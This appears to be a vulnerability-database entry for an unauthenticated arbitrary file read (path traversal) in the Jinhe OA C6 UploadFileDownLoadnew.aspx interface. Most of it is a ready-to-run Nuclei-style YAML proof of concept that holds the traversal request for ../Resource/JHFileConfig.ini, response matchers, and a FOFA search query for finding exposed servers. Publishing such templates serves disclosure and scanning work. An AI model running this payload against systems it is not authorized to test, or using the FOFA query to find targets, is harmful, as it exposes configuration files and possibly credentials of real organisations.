jinhe-oa-c6-upload-lfi: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read

2025-08-01 Jinhe OA C6 PoC Public

Description

There is an arbitrary file reading vulnerability in the UploadFileDownLoadnew.aspx interface of Jinhe OA C6. An unauthenticated attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be in Extremely unsafe state.

PoC

id: jinhe-oa-c6-upload-lfi

info:
  name: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the UploadFileDownLoadnew.aspx interface of Jinhe OA C6. An unauthenticated attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be in Extremely unsafe state.
  reference:
    - https://github.com/wy876/POC/blob/main/%E9%87%91%E5%92%8COA_C6_UploadFileDownLoadnew%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="JHSoft.Web.AddMenu" || app="金和网络-金和OA"
  tags: jinhe-oa-c6,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/c6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?FilePath=../Resource/JHFileConfig.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "MaxFolderTotal=1"
          - "[JHFile]"
          - "FolderTotal=1"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d357c0688f37741e0398e8b448f1bba257eaacfdd091861e4383449a4f36b095022100946705a813c3c6013172cc56fd2ea4ba7b29996dc8b0fdd537d3f4292c9e557f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities